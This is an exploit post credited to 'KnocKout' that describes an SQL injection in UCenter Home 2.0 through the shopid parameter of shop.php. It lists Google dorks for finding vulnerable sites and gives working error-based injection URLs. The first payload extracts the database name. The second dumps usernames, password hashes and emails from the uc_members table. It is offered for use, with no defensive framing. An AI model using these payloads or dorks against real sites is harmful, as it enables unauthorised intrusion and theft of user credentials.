                              __--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__
                              
*/ Author : KnocKout
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
*/ Contact: knockoutr@msn.com
*/ Cyber-Warrior.org/CWKnocKout
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Script : UCenter Home
Version : 2.0
Script HomePage : http://u.discuz.net/
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Dork : Powered by UCenter inurl:shop.php?ac=view
Dork 2 : inurl:shop.php?ac=view&shopid=
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Vuln file : Shop.php
value's : (?)ac=view&shopid=
Vulnerable Style : SQL Injection (MySQL Error Based)
Need Metarials : Hex Conversion
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Your Need victim Database name. 
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
..
DB : Okey.
your edit DB `[TARGET DB NAME]`
Example : 'hiwir1_ucenter'
Edit : Okey.
 Your use Hex conversion. And edit Your SQL Injection Exploit..

Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1


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